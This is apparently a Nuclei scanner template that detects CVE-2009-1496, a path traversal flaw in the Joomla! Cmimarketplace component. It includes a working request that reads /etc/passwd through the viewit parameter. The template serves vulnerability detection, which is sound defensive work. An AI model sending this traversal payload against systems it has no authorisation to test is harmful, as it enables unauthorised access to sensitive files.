id: CVE-2009-1496

info:
  name: Joomla! Cmimarketplace 0.1 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: |
    Joomla! Cmimarketplace 0.1 is susceptible to local file inclusion because com_cmimarketplace allows remote attackers to list arbitrary directories via a .. (dot dot) in the viewit parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: |
    Apply the latest patch or upgrade to a newer version of Joomla! Cmimarketplace to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/8367
    - https://nvd.nist.gov/vuln/detail/CVE-2009-1496
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2009-1496
    cwe-id: CWE-22
    epss-score: 0.07183
    epss-percentile: 0.93665
    cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla
  tags: cve2009,cve,joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../../../../../etc/passwd&cid=1"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220479094d0b08bffe4ea9fd75517cdaf07f2309f558705b5a924eca9ad4a14102602205b54dd798eaed8932544e0e7e1be142109678f015b72e96265b9cba5d78bc09d:922c64590222798bb761d5b6d8e72950